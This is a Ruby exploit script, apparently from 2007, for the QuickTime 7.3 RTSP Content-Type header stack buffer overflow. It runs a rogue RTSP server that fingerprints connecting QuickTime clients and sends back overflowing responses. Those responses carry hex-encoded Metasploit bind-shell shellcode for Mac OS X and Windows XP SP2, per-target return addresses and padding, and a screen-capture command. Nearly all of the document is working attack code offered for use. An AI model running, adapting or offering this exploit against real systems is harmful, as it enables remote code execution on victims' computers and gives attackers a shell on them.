`# Copyright (C) 2007 Subreption LLC. All rights reserved. # Visit http://blog.subreption.com for exploit development notes. # # References: # http://www.milw0rm.com/exploits/4648 (original Microsoft Windows code) # http://www.milw0rm.com/exploits/4651 (recent Microsoft Windows exploit) # From Metasploit: apple_quicktime_rtsp_response.rb (by MC and HD Moore) # http://nvd.nist.gov/nvd.cfm?cvename=CVE-2002-0252 # BID: http://www.securityfocus.com/bid/26549 # # Notes: # Payload badchars: \x00 \x09 \x0a \x0d \x20 \x22 \x25 \x26 \x27 \x2b \x2f # \x3a \x3c \x3e \x3f \x40 # # The example addresses and data will trigger an IDS signature easily. # Remove them if you're not testing, and change padding sizes accordingly. # Use the String.rand_alpha() method to generate random strings. # # Version: 1.0 (+leopard_ppc +leopard_x86 +tiger_x86 +tiger_ppc +win_xpsp2) # # We would like to thank... # Kevin Finisterre, for providing PowerPC testing environment and general # aid in the development and proofing of this code for Mac OS X on PPC. # HD Moore for his suggestions and Metasploit code. # # Distributed under the terms of the Subreption Open Source License v1.0 # http://static.subreption.com/public/documents/subreption-sosl-1.0.txt # require 'socket' include Socket::Constants def String.rand_alpha(size = 16) (1..size).collect { (i = Kernel.rand(62); i += ((i < 10) ? 48 : ((i < 36) ? 55 : 61 ))).chr }.join end module MiscUtils def self.myputs(msg) puts "#{$0}: #{msg}" end # From Metasploit Rex library: # http://metasploit.com/svn/framework3/trunk/lib/rex/arch/x86.rb def self.rel_number(num, delta = 0) s = num.to_s case s[0, 2] when '$+' num = s[2 .. -1].to_i when '$-' num = -1 * s[2 .. -1].to_i when '0x' num = s.hex else delta = 0 end return num + delta end end # msf osx/x86/shell_bind_tcp - 81 bytes port=5354 + exit() MSF_OSX_X86 = "\x31\xc0\x50\x68\xff\x02\x14\xea\x89\xe7\x50\x6a\x01\x6a\x02\x6a" + "\x10\xb0\x61\xcd\x80\x57\x50\x50\x6a\x68\x58\xcd\x80\x89\x47\xec" + "\xb0\x6a\xcd\x80\xb0\x1e\xcd\x80\x50\x50\x6a\x5a\x58\xcd\x80\xff" + "\x4f\xe4\x79\xf6\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89" + "\xe3\x50\x54\x54\x53\x50\xb0\x3b\xcd\x80\x31\xc0\x50\xb0\x01\xcd" + "\x80" # msf win32_bind - EXITFUNC=process LPORT=4444 Size=696 Encoder=Alpha2 MSF_WIN_X86 = "\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff\x49\x37\x49\x49\x49\x49" + "\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x51\x5a\x6a\x42" + "\x58\x50\x30\x42\x31\x41\x42\x6b\x42\x41\x52\x32\x42\x42\x32\x41" + "\x41\x30\x41\x41\x58\x42\x50\x38\x42\x42\x75\x39\x79\x4b\x4c\x61" + "\x7a\x38\x6b\x50\x4d\x68\x68\x69\x69\x4b\x4f\x4b\x4f\x59\x6f\x53" + "\x50\x4e\x6b\x32\x4c\x44\x64\x35\x74\x6e\x6b\x30\x45\x57\x4c\x4e" + "\x6b\x41\x6c\x64\x45\x51\x68\x46\x61\x4a\x4f\x6c\x4b\x30\x4f\x46" + "\x78\x6c\x4b\x71\x4f\x47\x50\x33\x31\x5a\x4b\x61\x59\x6e\x6b\x50" + "\x34\x4e\x6b\x46\x61\x78\x6e\x50\x31\x69\x50\x4e\x79\x4e\x4c\x4b" + "\x34\x6b\x70\x52\x54\x63\x37\x38\x41\x6a\x6a\x44\x4d\x63\x31\x6b" + "\x72\x68\x6b\x49\x64\x77\x4b\x30\x54\x41\x34\x45\x78\x52\x55\x69" + "\x75\x6e\x6b\x73\x6f\x75\x74\x56\x61\x7a\x4b\x33\x56\x4e\x6b\x36" + "\x6c\x72\x6b\x4c\x4b\x53\x6f\x35\x4c\x77\x71\x38\x6b\x47\x73\x44" + "\x6c\x6e\x6b\x4b\x39\x32\x4c\x35\x74\x77\x6c\x65\x31\x69\x53\x56" + "\x51\x49\x4b\x65\x34\x4e\x6b\x67\x33\x34\x70\x4c\x4b\x77\x30\x74" + "\x4c\x6e\x6b\x64\x30\x47\x6c\x4c\x6d\x6e\x6b\x41\x50\x63\x38\x53" + "\x6e\x70\x68\x4e\x6e\x62\x6e\x56\x6e\x38\x6c\x52\x70\x6b\x4f\x7a" + "\x76\x72\x46\x61\x43\x43\x56\x52\x48\x77\x43\x64\x72\x51\x78\x71" + "\x67\x50\x73\x70\x32\x71\x4f\x31\x44\x4b\x4f\x4a\x70\x75\x38\x78" + "\x4b\x68\x6d\x49\x6c\x75\x6b\x46\x30\x4b\x4f\x79\x46\x53\x6f\x6f" + "\x79\x38\x65\x73\x56\x4c\x41\x58\x6d\x64\x48\x65\x52\x72\x75\x32" + "\x4a\x73\x32\x49\x6f\x4a\x70\x33\x58\x78\x59\x63\x39\x39\x65\x4c" + "\x6d\x72\x77\x6b\x4f\x6e\x36\x50\x53\x52\x73\x51\x43\x70\x53\x33" + "\x63\x71\x53\x63\x63\x61\x53\x33\x63\x4b\x4f\x5a\x70\x73\x56\x51" + "\x78\x37\x61\x41\x4c\x50\x66\x53\x63\x6c\x49\x5a\x41\x5a\x35\x51" + "\x78\x4d\x74\x67\x6a\x30\x70\x4b\x77\x66\x37\x79\x6f\x4b\x66\x41" + "\x7a\x32\x30\x72\x71\x33\x65\x59\x6f\x38\x50\x70\x68\x6f\x54\x6e" + "\x4d\x64\x6e\x38\x69\x32\x77\x4b\x4f\x4e\x36\x51\x43\x41\x45\x39" + "\x6f\x4a\x70\x71\x78\x4a\x45\x71\x59\x6d\x56\x43\x79\x76\x37\x4b" + "\x4f\x39\x46\x52\x70\x72\x74\x46\x34\x31\x45\x4b\x4f\x68\x50\x4e" + "\x73\x43\x58\x6b\x57\x71\x69\x6f\x36\x53\x49\x76\x37\x6b\x4f\x38" + "\x56\x71\x45\x6b\x4f\x48\x50\x35\x36\x70\x6a\x31\x74\x45\x36\x31" + "\x78\x62\x43\x32\x4d\x6f\x79\x7a\x45\x71\x7a\x30\x50\x33\x69\x46" + "\x49\x6a\x6c\x6b\x39\x6a\x47\x73\x5a\x51\x54\x6f\x79\x6d\x32\x30" + "\x31\x59\x50\x38\x73\x4d\x7a\x59\x6e\x43\x72\x36\x4d\x69\x6e\x73" + "\x72\x54\x6c\x6f\x63\x4c\x4d\x72\x5a\x74\x78\x4c\x6b\x6c\x6b\x6e" + "\x4b\x35\x38\x50\x72\x6b\x4e\x4c\x73\x64\x56\x4b\x4f\x43\x45\x32" + "\x64\x79\x6f\x7a\x76\x33\x6b\x32\x77\x62\x72\x63\x61\x33\x61\x30" + "\x51\x30\x6a\x53\x31\x71\x41\x46\x31\x52\x75\x32\x71\x6b\x4f\x4e" + "\x30\x70\x68\x4e\x4d\x7a\x79\x46\x65\x4a\x6e\x72\x73\x69\x6f\x58" + "\x56\x72\x4a\x69\x6f\x69\x6f\x66\x57\x39\x6f\x58\x50\x4c\x4b\x41" + "\x47\x6b\x4c\x6c\x43\x4f\x34\x32\x44\x4b\x4f\x68\x56\x76\x32\x4b" + "\x4f\x4e\x30\x71\x78\x33\x4e\x6a\x78\x49\x72\x43\x43\x61\x43\x4b" + "\x4f\x48\x56\x69\x6f\x6a\x70\x42" module AppleOSX class QuicktimeRedux TARGET_MATRIX = { # Mac OS X Leopard on PowerPC (ppc) "7.3-Mac 10.5.1-PPC" => { # Stack on PPC is still executable :ret_address => 0xbfffcb0c+50, :padding_size => 559, # Shellcode will -likely- require changes here :prepend_data => ( [0xdead5841].pack("N") + # r22 [0xdead5842].pack("N") + # r23 [0xdead4141].pack("N") + # r24 [0xdead4142].pack("N") + # r25 [0xdead4143].pack("N") + # r26 [0xdead4144].pack("N") + # r27 [0xdead4145].pack("N") + # r28 [0xdead4146].pack("N") + # r29 [0xdead4147].pack("N") + # r30 [0xdead4148].pack("N") + # r31 [0xdead4150].pack("N") + # [0xdead4151].pack("N") + # [0xdead4152].pack("N") + # at $sp+0 [0xdead4153].pack("N") # at $sp+4 ), :append_data => (""), :shellcode => ( "\x69" * 120 ) }, # Mac OS X Leopard on IA32 (x86) build 9B18 "7.3-Mac 10.5.1-IA32" => { # Return-to-dyld stub is not reliable unless the machine # hasn't randomized the dyld base address. :ret_address => 0xdeadbeef, :padding_size => 291, :prepend_data => ( [0x11223344].pack("V") + # ebx [0x41424142].pack("V") + # esi [0x31337666].pack("V") + # edi [0xdefacedd].pack("V") # ebp ), :append_data => ( [0xa0a7e44a].pack("V") + # to dyld_stub_exit [0xbffffaa3].pack("V") # address to /bin/bash ), :shellcode => ( "screencapture -S ~/Desktop/US.png; exit;" + ("\x90" * 130) + MSF_OSX_X86 ) }, # Mac OS X Tiger on IA32 (x86) build 8S2167 (10.4.11) # Apparently, it advertises 10.4.9 instead of 10.4.11 "7.3-Mac 10.4.9-IA32" => { # Return-to-dyld stub works reliably on Tiger # 0xa0be2280 for dyld_stub_system :ret_address => 0xa0be2280, :padding_size => 291, :prepend_data => ( [0x917f1413].pack("V") + # ebx [0xffffeae6].pack("V") + # esi [0x14533050].pack("V") + # edi [0xbfffd27c].pack("V") # ebp ), # exit() stub is problematic with some atexit code # because of corrupted frames, we use abort() instead. # A /bin/bash string (from env) is usually at 0xbffffc23 # when running under gdb, or 0xbffffe5c if started # via dock. If started from Terminal, it's at 0xbffffc3e. :append_data => ( [0xa0815587].pack("V") + # to dyld_stub_abort [0xbffffc3e].pack("V") # address system() command ), # NOP sled + Metasploit shellcode + NOP sled + int3 :shellcode => ( ("\x90" * 140) + MSF_OSX_X86 + ("\x90" * 30) + "\xcc" ) }, # Mac OS X Tiger on PowerPC (PPC) # It also advertises 10.4.9 instead of 10.4.11 "7.3-Mac 10.4.9-PPC" => { # Stub address for system() contains a null byte. # system() address contains filtered char. :ret_address => 0xdeadbeef, :padding_size => 559, :prepend_data => ( [0xdead5841].pack("N") + # r22 [0xdead5842].pack("N") + # r23 [0xdead4141].pack("N") + # r24 [0xdead4142].pack("N") + # r25 [0xdead4143].pack("N") + # r26 [0xdead4144].pack("N") + # r27 [0xdead4145].pack("N") + # r28 [0xdead4146].pack("N") + # r29 [0xdead4147].pack("N") + # r30 [0xdead4148].pack("N") + # r31 String.rand_alpha(16) ), :append_data => ( [0x942bce80].pack("N") + # to dyld_stub_abort [0x58585858].pack("N") ), :shellcode => ( "\x69" * 120 ) }, # Microsoft Windows targets # 7.3 on XP SP2, based on the original Metasploit module by MC # This one is elegant and reliable :) # (uses address from QuickTimeStreaming.qtx version 7.3.0.70) "7.3-Windows NT 5.1Service Pack 2-IA32" => { # pop esi; pop ebx; ret :ret_address => 0x67644297, :padding_size => 991+MSF_WIN_X86.size, :prepend_data => ( "\xeb" + [MiscUtils::rel_number(6, -2)].pack("V")[0,1] + "\x90\x90" ), :append_data => ( String.rand_alpha(4092 - MSF_WIN_X86.size) ), :shellcode => MSF_WIN_X86 }, # 7.3 on Vista # We are not including it yet, feel free to play around "7.3-Windows NT 6.0-IA32" => { :ret_address => 0xdeadbeef, :padding_size => 991+MSF_WIN_X86.size, :prepend_data => (""), :append_data => ( String.rand_alpha(4092 - MSF_WIN_X86.size) ), :shellcode => MSF_WIN_X86 } } # Generates headers for a Quicktime RTSP response, and injects # the payload into the Content-Type header (including the padding). def make_header(body_length, payload) "RTSP/1.0 200 OK\r\n" + "CSeq: 1\r\n" + "Content-Base: rtsp://0.0.0.0/#{@mpfile}\r\n" + "Content-Type: #{payload}\r\n" + "Content-Length: #{body_length}\r\n" + "\r\n" end # Generates a body for a Quicktime RTSP response def make_body rand_str = String.rand_alpha(rand(10)+1) rand_nam = String.rand_alpha(rand(20)+1) "v=0\r\n" + "o=- #{rand(0xffffffff)} 1 IN IP4 0.0.0.0\r\n" + "s=MPEG-1 or 2 Audio, streamed by #{rand_str}\r\n" + "i=#{@mpfile}\r\n" + "t=0 0\r\n" + "a=tool:#{rand_nam}\r\n" + "a=type:broadcast\r\n" + "a=control:*\r\n" + "a=range:npt=0-213.077\r\n" + "a=x-qt-text-nam:MPEG-1 or 2 Audio, streamed by #{rand_str}\r\n" + "a=x-qt-text-inf:#{@mpfile}\r\n" + "m=audio 0 RTP/AVP 14\r\n" + "c=IN IP4 0.0.0.0\r\n" + "a=control:track1\r\n" end # Construct a payload without filtered characters, for the target provided. # The information is extracted from the target matrix variable. def build_payload(target) target_name = "#{target[:version]}-#{target[:os]}-#{target[:arch]}" selected = TARGET_MATRIX[target_name] unless selected MiscUtils::myputs "Target not available, check User-Agent format!" MiscUtils::myputs target_name return '' end MiscUtils::myputs "Building payload for '#{target_name}'..." MiscUtils::myputs "Return address: #{sprintf("0x%08x",selected[:ret_address])}, " + "shellcode: #{selected[:shellcode].size} bytes." payload = String.rand_alpha(selected[:padding_size]-selected[:shellcode].size) unless target[:os] =~ /Windows/ payload << selected[:shellcode] payload << selected[:prepend_data] # Handle big-endian / little-endian if target[:arch] == "PPC" payload << [selected[:ret_address]].pack("N") else payload << [selected[:ret_address]].pack("V") end else payload << selected[:prepend_data] payload << [selected[:ret_address]].pack("V") payload << selected[:shellcode] end # Appended data comes always at end of payload payload << selected[:append_data] MiscUtils::myputs "Payload: #{payload.size} bytes (padding=#{payload[0,8]}...)" return payload end # Threaded 'listener': waits until a Quicktime client connects and fingerprints # its version, architecture and operating system version. Builds a response with # the correct payload and sends it back to the client. def exploit loop do socket = @server.accept Thread.start do s = socket port = s.peeraddr[1] name = s.peeraddr[2] addr = s.peeraddr[3] MiscUtils::myputs "RTSP Connection from #{name} (#{addr}:#{port})" request = s.recv(1024) # Verify it's Quicktime and not some other application # ie. QuickTime E-/7.3 (qtver=7.3;os=Windows NT 6.0) if request =~ /User-Agent: QuickTime/i target = Hash.new if request =~ /Windows/ qtver = request.scan(/$qtver=(.+?);os=(.+?)$\r\n/).flatten target[:version] = qtver[0] target[:arch] = "IA32" target[:os] = qtver[1] else qtver = request.scan(/$qtver=(.+?);cpu=(.+?);os=(.+?)$\r\n/).flatten target[:version] = qtver[0] target[:arch] = qtver[1] target[:os] = qtver[2] end MiscUtils::myputs "RTSP Request from Quicktime: #{qtver[0]} on #{qtver[3]} #{qtver[2]}" # Build payload and the full response body begin payload = build_payload(target) body = make_body() header = make_header(body.size, payload) resp = (header+body) rescue raise "Something happened trying to build a response!" end # Send it to the client s.write(resp) MiscUtils::myputs "RTSP Sent #{resp.size} bytes..." else # It's not a Quicktime client MiscUtils::myputs "RTSP Connection doesn't seem to come from Quicktime!" s.write(String.rand_alpha(rand(500))) end end end end # Initialize the exploit with the local listening port, server socket, etc. def initialize(rtsp_port = 554) @server = TCPServer.new("0.0.0.0", rtsp_port) @mpfile = String.rand_alpha(rand(12)+1) + '.mp3' rtsp_addrs = @server.addr[2..-1].uniq.collect{|a|"#{a}:#{rtsp_port}"}.join(' ') MiscUtils::myputs "RTSP Listening on #{rtsp_addrs}, serving #{@mpfile}" MiscUtils::myputs "RTSP URL: rtsp://#{rtsp_addrs}/#{@mpfile}" end end end trap("INT") do puts "Exiting!" exit end puts "Quicktime 7.3 RTSP Response Content-Type Header Stack Buffer Overflow exploit" puts "Copyright (C) 2007, Subreption LLC. All rights reserved." test_run = AppleOSX::QuicktimeRedux.new() test_run.exploit `

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